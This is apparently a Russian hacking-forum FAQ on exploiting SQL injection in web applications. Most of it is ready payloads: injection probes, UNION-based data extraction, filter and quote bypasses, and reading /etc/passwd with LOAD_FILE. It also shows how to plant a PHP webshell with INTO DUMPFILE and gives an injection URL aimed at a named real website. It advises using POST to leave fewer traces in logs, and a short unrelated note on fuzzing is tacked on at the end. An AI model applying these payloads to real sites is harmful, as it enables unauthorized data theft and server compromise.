Что это я тут понаписал. ) Это ответы на часто задаваемые вопросы в ветке "Ваши вопросы по уязвимостям" 90% этих вопросов гоняется по кругу(кто смотрит тему, тот знает) и отвечать на них порядком поднадоело. Так-же хочу собрать все линки на статьи по багам SQL\XSS\PHP-инклуд в кучу, и сделать что-то вроде карты раздела. Поехали, вопросы Вопрос №1 Что это? (ну и далее линк , обычно с кавычкой на конце, пройдя по которому можно лицезреть ту или иную ошибку) Этот вопрос порядком поднадоел и впринципе некорректен, но задаётся с завидной регулярностью Если выводится ошибка, и в ней присутствует что то по базу/sql/mysql/mssql/PostgreSQL и т.д. или вываливается запрос, или функции вывода из базы, то это ошибка БД, и скорее всего будет возможность провести инъекцию. НО. Инъекция , это внедрение своего кода в запрос и иногда как раз внедрить его не получится, несмотря на ошибку базы. Как нам это определить. Вот некоторые примеры, которые я надеюсь помогут, и избавят от этого вопроса site.com/index.php?id=1 Выводит страницу 1 site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=2(Выводит страницу 2) ------------------- site.com/index.php?id=1*1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу 2) ------------------- site.com/index.php?id=1+and+1=1(Выводит страницу 1) site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит, вобщем отличается от первого) ------------------- Если эти примеры работают, то мы имеем SQL инъекцию. Подчёркиваю: инъекция, это именно возможность влиять на запрос, возможность внедрить в него что-то, а не просто ошибка базы. Хотелось-бы обратить внимание вот на какой момент. 90% скулей не доставляют хлопот и проводятся по шаблону но, имейте ввиду, что иногда параметры в запросе могут быть заключены в кавычки и скобки . И соответственно, для проведения инъекции запрос нужно будет подгонять под конкретный случай.Когда есть вывод ошибки, запрос можно увидеть(или увидеть ошибку , которая сообщит, что не так), а вот когда его нет, дело обстоит сложнее Я не смогу в рамках этого ФАКа привести все примеры, разумеется, но попробую сформулировать основной принцип. Страница которая выводится без всяких инъектов берётся за true, и при подстановке своего кода, нужно добиваться её вывода. Тоесть: site.com/index.php?id=1--true Прервём её комментарием site.com/index.php?id=1/* У нас должен быть тот-же вывод. Если его нет, значит мы отсекли своим комментарием какую-то нужную часть запроса. Для начала, попробуем другой комментарий(--,#) site.com/index.php?id=1--+ Появился вывод, хорошо, значит будем использовать однострочный комментарий. Нет, пробуем скобку site.com/index.php?id=1)/* и т.д., думаю принцип понятен С кавычкой история немного другая. Если кавычка в запросе не нужна, то вам не удастся вывести страницу с её использованием, а вот если нужна, страница может выводиться нормально , как с ней, так и без неё. Вобщем эксперементируйте. site.com/index.php?id=1)/* site.com/index.php?id=1')--+ site.com/index.php?id=1"/* site.com/index.php?id=1))--+ и т.д. Если страница вывелась допустим при таком варианте: site.com/index.php?id=1')--+ То и запрос будем составлять исходя из того, что параметр заключен в скобки и кавычки. Тоесть: site.com/index.php?id=1')+union+select+1,2,3--+ Далее этим-же пунктом хотелось-бы обратить внимание на различия баз данных. При выводе ошибки внимательно смотрим на то, что нам пишут, и ищем в ошибке любое упоминание о БД (mysql/Access/InterBase/MSSQL/Oracle/sybase/PostgreSQL) это здорово упростит задачу и избавит от ненужных вопросов и разочарований Львиную долю занимает конечно MySql, но и другие базы встречаются Ниже приведу некоторые характерные функции или фразы, которые выводятся в ошибках и позволяют разпознать базу и линки на статьи по разным базам(Опознали базу, го читать статью ) PostgreSQL(Префикс pg_) Функции: pg_exec() pg_numrows() pg_query() pg_fetch_array() и т.д. Статья: Проведение SQL-Injection в PostgreSQL Автор Spyder Access пишет что-то такое: [Microsoft][ODBC Microsoft Access Driver] или Microsoft JET Database Engine error Статья: Проведение SQL инъекций в Microsoft Access Автор [53x]Shadow MS SQL [Microsoft][ODBC SQL Server Driver] Статья: Проведение инъекций в MSSQL сервере от Microsoft Автор [ cash ] InterBase\Firebird ibase_query() ibase_fetch_object() ibase_free_result() ibase_fetch_row() Статья: Заметка по Firebird SQL injection Автор l1ght Oracle ORA-01756 (И вообще всякие ORA) Статья: Проведение SQL инъекций в Oracle Автор [53x]Shadow Sybase Sybase error sybase_query() sybase_num_rows() Статья: Проведение SQL инъекций в Sybase ASE Автор ~!DoK_tOR!~ Ну и конечно наш любимый MySql : Статьи: SQL injection полный FAQ Автор Dr.Z3r0 SQL инъекция (в т.ч. и blind SQL) Автор kot777 Эффективные Слепые Иньекции Автор Евгений Минаев Новая альтернатива Benchmark'y или эффективный blind SQL-injection Автор Elekt Быстрый Blind SQL Injection Автор Qwazar ----------------- По скулям вроде-бы всё, если в ошибке присутствуют функции include() include_once() require() require_once() file() readfile() и т.п. Идем читать статьи по PHP инклудам: php injection Автор GreenBear TRUE PHP-injection Автор Zadoxlik PHP-include и способы защиты Автор _Pantera_ [новый способ] замена нулл-байту в инклудах Автор [Raz0r] Логи и конфиги Default *log, *conf files locations respect ettee ----------------------------------------- Вопрос №2 Вот так выводит , а вот так невыводит. site.com/index.php?id=1+union+select+1,2,3,4/*------------выводит site.com/index.php?id=1+union+select+1,version(),3,4/*----невыводит Господа, вывод у скули либо есть, либо нет, и если вы видите вывод цифры, но не видите версию или значние из столбца, то варианта 2 либо кодировка, либо тип данных не соответствует Кодировка: Может сопровождаться ошибкой такого плана: Code: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT) Бороться с этим можно несколькими способами, но все они сводятся к одному и тому-же. Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов: cast(Version()+as+binary) CONVERT(Version(),binary) convert(version()+using+latin1) convert(version()+using+binary) Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке aes_decrypt(aes_encrypt(Version(),1),1) unhex(hex(version())) пример, можете поэксперементировать с разными функциями: http://www.oceanworld.com.au/page.asp?id=-8+union+select+1,cast(version()+as+binary),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables-- Несоответствие типа данных вам может встретится на БД отличных от MySql. MySql относится к типам данных достаточно лояльно, а вот другие БД в основном несоответствия не терпят. Если ваша база оказалась именно такой нужно ознакомится со статьями по проведению инъекций в Вашей базе. ------------------------------------------- Вопрос №3 Не выводит значение из таблицы, а она есть , точно знаю ) Обычно этот вопрос возникает на 5 ветке мускула, когда все таблицы выведены из information_schema, отсюда и уверенность, что таблица существует. Вариантов опять-же два Первый: таблица пустая Проверяется это элементарно, например так: union+select+1,2,count(*),4+from+user count(*) выводит количество записей в таблице, если вывело 0, таблица пустая либо для 5 ветки так union+select+1,table_rows+from+information_schema.tables+where+table_name='sasasa' Второй: Таблица в другой базе. В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт Проверяется так(5 ветка) table_schema+from+information_schema.tables+where+table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user) ------------------------------------------- Вопрос №4 Не могу вывести данные (Вытекает из предыдущего) table_name='users' Ошибка Скорее всего magic_quotes_gpc = On , и соответственно кавычки слешируются И снова целых 2 варианта. Перевести название таблицы/колонки в hex или в CHAR, кому как нравится Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем): union+select+1,table_rows+from+information_schema.tables+where+table_name=0x7573657273 для CHAR так: union+select+1,table_rows+from+information_schema.tables+where+table_name=char(117,115,101,114,115) Как видим обошлись без кавычек (сдесь table_name=users) Некоторые индивидумы умудряются загонять в хекс или чар вместе с кавычками, тоесть так 'users'=27757365727327, так делать ненадо, база этого не оценит ) Вниманиеоператоры, функции, и т.д переводить в hex или char нельзя Онлайн кодировщики: Инструменты для шифрования/дешифрования данных encode_decode 0.8 Base64 encode/decode Universal char SQL encoder by [53x]Shadow! TRANSLATOR, BINARY ------------------------------------------- Вопрос №5 Подбираю столбцы ордером пишет(допустим) 2, делаю запрос union+select+1,2 ничего не выводит (выводит ошибку) Первое что нужно сделать в этом случае. проверить версию базы, например так: site.com/index.php?id=1+and+substring(version(),1,1)=3 site.com/index.php?id=1+and+substring(version(),1,1)=4 site.com/index.php?id=1+and+substring(version(),1,1)=5 Если оказалось, что версия третья, то неудивительно. что вывода нет, оператор union введён с четвётой версии mysql. B этом случае читаем статьи по проведению инъекций в 3 ветке Если версия >=4 . или мы видим ошибку different number of columns это вовсе не означает, что вывода не будет. Вероятность найти вывод всё равно остаётся. По этой теме идём читать сюда: different number of columns с поста 79 и вниз со всеми комментариями --------------------------------------------
Вопрос №6 В скуле фильтруется ...(варианты) Ну тут тема очень обширная, но некоторые моменты всё-же достаточно распространены Сначала пробуем послать данные Постом(а вообще, всегда пробуем постом, т.к. палева в логах меньше), возможно пост не фильтруется. Если POST тоже фильтруется, рассматрваем варианты, но для начала выясняем, что именно фильтруется. Самый простой способ это попробовать вставить возможное выражение\символ в комментарий. Тоесть: a.php?id=1/*вот сюда вставляем*/ И если такой запрос не обработается нормально, то это оно и есть Пробелы заменяем на +,/**/,%0D,%2B,%09,%0A,%20,%2B,$IFS а в подзапросах можно вообще без пробелов как-то так: php?a=(1)AND(lower(substring((SELECT(password)from(mysql.user)WHERE(user="user")),1,1))='b') php?a='1'AND(exists(select(1)from(SmallNu_users)where(ascii(lower(substring(user_id,1,1))))like(50)))and'1'<'2' "=" можно обойти с помощью like, IN, NOT IN Ну и различные фильтры операторов можно попробовать обойти записью в разных регистрах, бывает фильтрация регистрозависимая т.е. union фильтрует, а UnIon пропустит. Ну и подзапросы никто не отменял (Рекоммендую всем один раз в них разобраться, и потом будет значительно легче) --------------------------------------------- Вопрос №7 Помогите залить шелл через SQL Для этой процедуры необходимо выполнение некоторых условий 1 file_priv (возможность чтения/записи файлов) Проверяется это так: union+select+file_priv+from+mysql.user+where+user='имя юзера' 'имя юзера'- это имя того юзера под которым работает база, т.е. то, что выводится по запросу: union+select+user() но без хоста. Тоесть если вывело root@localhost, то юзер root Значения два, либо "Y"-повезло, либо "N", соответственно неповезло Можно не заморачиваться и сразу попробовать прочитать файл: union+select+LOAD_FILE('/etc/passwd')+from+mysql.user если вывело, нужные привелегии у вашего юзера есть 2 Полный путь и папка на запись Путь ищем в разнообразных ошибках или читая конфиги,через Лоад-Файл. Линк на дефолтные конфиги я приводил выше. 3 magic_quotes_gpc = Off Для того, что-бы шелл залился, синтаксис мускула требует писать путь в ковычках. Ну и наконец, если нам трижды повезло, льём например так: union+select+1,'<?php код вашего шелла ?>',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/* или ещё варианты рассматриваются сдесь: Загрузка файл через mysql inj Автор [cash] и даже при magic_quotes_gpc = on , существует вероятность залиться, но для этого нужны 2 запроса к базе. Как это сделать описывается сдесь: Заливка через двойной запрос Автор Scipio --------------------------------------------- По XSS вопросов возникает меньше, но линки на темы всё-же приведу: Взлом чатов by Algol. Теория и Практика Автор Algol Особенности синтаксиса HTML Авторы Algol zFailure Использование UTF-7 в атаках класса XSS Автор Algol XSS крупным планом Автор Thesaurus Cross Site Scripting для новичков Автор _Pantera_ Xss для новичков Автор Micr0b Темная сторона Xss Автор Constantine Важно Примеры SQL запросов приведены для базы MySql, в других базах синтаксис другой, читаем статьи. База information_schema, появилась в MySql =>5 А то некоторые до сих пор умудряются писать , что доступ к шеме запрещён, на четвёртой ветке По мере поступления повторяющихся вопросов буду дополнять тему ответами Ну и наконец, если сдесь ответ на ваш вопрос не обнаружился, идём в тему Ваши вопросы по уязвимостям и задаём его там. С конструктивными предложениями по поводу FAQ обращайтесь в ЛС модераторам раздела закрыто (с)Const
Способы компрометации и индефикации ПО: Передача заранее несуществующего параметра команде. Использовать произвольный порядок команд. Вызов команды без необходимого параметра. Передача программному обеспечению заведомо не существующей команды. Нарушение стандартного формата той или иной команды. Fuzzing методика.